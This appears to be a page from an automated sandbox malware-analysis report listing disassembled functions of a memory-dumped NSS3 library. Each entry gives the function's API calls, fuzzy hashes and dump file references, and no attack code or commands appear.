Instruction ID: 65e0318c6fc4b2c789195328135712efa3e1cd9dbdf38091d7739a5d72fa1448
Opcode Fuzzy Hash: fb0c2ad138ba77ea10a4743a0e2532a4b623abdb27d5affb0df4e36d1a92875c
Instruction Fuzzy Hash: 2A817BB1B002099FEB14CF55E880AAB77F5AF8838CF18442CE95597751D730E898DBA1

Function 6CA0CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA0C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CA0DAE2,?), ref: 6CA0C6C2

PR_Now.NSS3 ref: 6CA0CD35

Part of subcall function 6CA69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DC6
Part of subcall function 6CA69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DD1
Part of subcall function 6CA69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA69DED

Part of subcall function 6C9F6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C9A1C6F,00000000,00000004,?,?), ref: 6C9F6C3F

PR_GetCurrentThread.NSS3 ref: 6CA0CD54

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

Part of subcall function 6C9F7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C9A1CCC,00000000,00000000,?,?), ref: 6C9F729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA0CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CA0CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CA0CE2C

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CA0CE40

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

Part of subcall function 6CA0CEE0: PORT_ArenaMark_Util.NSS3(?,6CA0CD93,?), ref: 6CA0CEEE
Part of subcall function 6CA0CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CA0CD93,?), ref: 6CA0CEFC
Part of subcall function 6CA0CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CA0CD93,?), ref: 6CA0CF0B
Part of subcall function 6CA0CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CA0CD93,?), ref: 6CA0CF1D

Part of subcall function 6CA0CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CA0CD93,?), ref: 6CA0CF47
Part of subcall function 6CA0CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CA0CD93,?), ref: 6CA0CF67
Part of subcall function 6CA0CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CA0CD93,?,?,?,?,?,?,?,?,?,?,?,6CA0CD93,?), ref: 6CA0CF78

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 3ab751615e3832ce627a46369669d2316887db640c092a13863a656f82704c4d
Instruction ID: 10177105ebae43516edd4889cf55b6b07db010241769dba9b4ca8505c8903c85
Opcode Fuzzy Hash: 3ab751615e3832ce627a46369669d2316887db640c092a13863a656f82704c4d
Instruction Fuzzy Hash: E351B5B6B001009BE710DF69ED40BEA77F4EF4838CF290524D95597B51EB31E989CBA2

Function 6C923850 Relevance: 9.1, APIs: 6, Instructions: 133threadstringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,00000025), ref: 6C923890
TlsGetValue.KERNEL32 ref: 6C9238D2
PR_CallOnce.NSS3(6CB014E4,6CA6CC70), ref: 6C92391C
PR_GetCurrentThread.NSS3 ref: 6C923977
memcpy.VCRUNTIME140(?,?,?), ref: 6C9239A2
PR_GetCurrentThread.NSS3 ref: 6C9239F2

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CurrentThread$CallOnceValuememcpystrchr
String ID:
API String ID: 892352074-0
Opcode ID: e491ed14b7ed86ef4ce10392de08fa8d87f38e053d48e738f0a81a484fd5d872
Instruction ID: dd4f3ea864895022b2998c880e2000a595833aa47112e73c2654e802ddeae466
Opcode Fuzzy Hash: e491ed14b7ed86ef4ce10392de08fa8d87f38e053d48e738f0a81a484fd5d872
Instruction Fuzzy Hash: 53411071A243018BD7109F39C94476A77FCFF5A318F04865DE8D99BA65E734D888CB81

Function 6CA1FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CA1FFE5

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_EnterMonitor.NSS3(?), ref: 6CA20004
PR_EnterMonitor.NSS3(?), ref: 6CA2001B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 28af3a5147d8b63a3bfcc417519a1bc56e23045693eec8e12e80a43961502c2c
Instruction ID: 61d2cd83071a114c9653503d157b0b0485b81700377ca9bd6e9a24d98ebe8f5d
Opcode Fuzzy Hash: 28af3a5147d8b63a3bfcc417519a1bc56e23045693eec8e12e80a43961502c2c
Instruction Fuzzy Hash: BC414B756486A08BE7204A29DCB17EB73A1DB41308F1C053DD55BCAEA0E7BDE5C9C742

Function 6C9DEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C9DEF38

Part of subcall function 6C9C9520: PK11_IsLoggedIn.NSS3(00000000,?,6C9F379E,?,00000001,?), ref: 6C9C9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C9DEF53

Part of subcall function 6C9E4C20: TlsGetValue.KERNEL32 ref: 6C9E4C4C
Part of subcall function 6C9E4C20: EnterCriticalSection.KERNEL32(?), ref: 6C9E4C60
Part of subcall function 6C9E4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4CA1
Part of subcall function 6C9E4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C9E4CBE
Part of subcall function 6C9E4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4CD2
Part of subcall function 6C9E4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4D3A

PR_GetCurrentThread.NSS3 ref: 6C9DEF9E

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

free.MOZGLUE(00000000), ref: 6C9DEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9DF016
free.MOZGLUE(00000000), ref: 6C9DF022

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 5abacff57a86b1dbd5ef2f27bbf976e32111f8a6a2cbbf8628158f01d359543d
Instruction ID: 13275a5223e35162d189c5b0aee37e4ddd4508dd732017743f2e31c8a5beb861
Opcode Fuzzy Hash: 5abacff57a86b1dbd5ef2f27bbf976e32111f8a6a2cbbf8628158f01d359543d
Instruction Fuzzy Hash: C041B271E0020AABDF018FA9DC45BEE7BB9AF58348F058025F914B7350E771D9158BA1

Function 6C9B4860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B4894

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B48CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B48DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C9B48FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9B4912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B494A

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: f89393c5d7412bbe3fe6c1d96391b0278487373a69a63e733ae27b0266cd51d3
Instruction ID: ea8ccaeefb36a4566cee88fff6394c05dd7f0bee967e25a779ac5d4c46f09414
Opcode Fuzzy Hash: f89393c5d7412bbe3fe6c1d96391b0278487373a69a63e733ae27b0266cd51d3
Instruction Fuzzy Hash: 1F41A271604305ABE704CE69DC80BAB73E8AF94718F14052CEA59A7741F770E909DB92

Function 6CABB9B0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 6CA69890: TlsGetValue.KERNEL32(?,?,?,6CA697EB), ref: 6CA6989E

PR_Abort.NSS3 ref: 6CABBA2E

Part of subcall function 6CAB0EB0: PR_LogPrint.NSS3(Aborting,?,6C992357), ref: 6CAB0EB8
Part of subcall function 6CAB0EB0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C992357), ref: 6CAB0EC0
Part of subcall function 6CAB0EB0: PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CAB0EE6
Part of subcall function 6CAB0EB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CAB0EFA
Part of subcall function 6CAB0EB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F16
Part of subcall function 6CAB0EB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F1C
Part of subcall function 6CAB0EB0: DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F25
Part of subcall function 6CAB0EB0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F2B

EnterCriticalSection.KERNEL32(?), ref: 6CABB9CE

Part of subcall function 6CAB5820: SuspendThread.KERNEL32(?,?,6CABBA59,6CB00478), ref: 6CAB582C

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Print__acrt_iob_funcabort$AbortBreakCriticalDebugEnterSectionSuspendThreadValuefflush
String ID:
API String ID: 3718378345-0
Opcode ID: 169a3d0a8f4a3887ae050a85e95410ccc256313fd4e3fee8df57040fc5edf31d
Instruction ID: 5f4a174cdd8d17afed7e829ee33106f92d88417af289eeef057de05a0b07da0a
Opcode Fuzzy Hash: 169a3d0a8f4a3887ae050a85e95410ccc256313fd4e3fee8df57040fc5edf31d
Instruction Fuzzy Hash: 5F41F7B2A0438A8BC7009F69F6C4749B7AEBB0232CF590358D40577E81D731A8DDC792

Function 6C9CCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C9CCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C9CD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C9CD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9CD025
PR_NewLock.NSS3 ref: 6C9CD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C9CD074

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 2ddec3941a9c8c1313ba43d28271a9e4c6754acda285d4480cce2e20beee7ce3
Instruction ID: 6e3f976b94fd050a49759df422f031927884a53d8c5e93f680ea8c164a3dbb2b
Opcode Fuzzy Hash: 2ddec3941a9c8c1313ba43d28271a9e4c6754acda285d4480cce2e20beee7ce3
Instruction Fuzzy Hash: 384180B1B41211CFDB10DF29C98479A7BE8AF08318F11416ADC199BB46D774D499CBA3

Function 6C9FF9A0 Relevance: 9.1, APIs: 6, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6C99F379,?,00000000,-00000002), ref: 6C9FF9B7

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ZAlloc_Util.NSS3(0000000C,00000000,-00000002,?,-00000002,?,6C99F379,?,00000000,-00000002), ref: 6C9FF9E1
PORT_Alloc_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6C99F379,?,00000000,-00000002), ref: 6C9FFA01
free.MOZGLUE(?), ref: 6C9FFA1F
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C9FFA2D
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C9FFA4F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Alloc_$Arena$CriticalEnterMark_SectionUnlockValuefree
String ID:
API String ID: 1549345101-0
Opcode ID: ada5cc1b4f453b3b6bcf2d3b98017b25e733f5ee1c50e65da1fcfbf52d5fcdd3
Instruction ID: cd857d5d21483bb3e91bc2946bab678d9180be693709d8daf2ef6bc89b1fbca6
Opcode Fuzzy Hash: ada5cc1b4f453b3b6bcf2d3b98017b25e733f5ee1c50e65da1fcfbf52d5fcdd3
Instruction Fuzzy Hash: 9D3198B1B013129BEB108F6D9880B6776E86B48A8CB14C139ED29DBB01F770D816C7D1

Function 6CA13FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CA13FF2

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CA14001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CA1400F

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CA14054

Part of subcall function 6C9ABB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C9ABC24
Part of subcall function 6C9ABB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C9ABC39
Part of subcall function 6C9ABB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C9ABC58
Part of subcall function 6C9ABB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C9ABCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA14070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CA140CD

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: fe3c7086ac78768736658a11d4c206c71ee6717bacef725d1cd17006d8f7b6cb
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: C931E971E043419BEB009F659D41BBB3364AF9064CF144224FE489BB42F766E9D88291

Function 6C9B2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C9A2D1A), ref: 6C9B2E7E

Part of subcall function 6CA007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C9A8298,?,?,?,6C99FCE5,?), ref: 6CA007BF
Part of subcall function 6CA007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CA007E6
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA0081B
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA00825

PR_Now.NSS3 ref: 6C9B2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C9B2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C9A2D1A), ref: 6C9B2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C9A2D1A), ref: 6C9B2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C9B2F81

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: e266cb7727bad12db9f297c3c8c50d5036d9124fb7fa8548342b7e8d755fb593
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 3D312671501900ABF710C656DC4CBBFB2A9EF80358F644A79D42DB7AD0EB31D89AC621

Function 6C9A0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C9A0A2C), ref: 6C9A0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C9A0A2C), ref: 6C9A0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C9A0A2C), ref: 6C9A0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C9A0A2C), ref: 6C9A0E90
free.MOZGLUE(00000000), ref: 6C9A0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C9A0A2C), ref: 6C9A0ED9

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

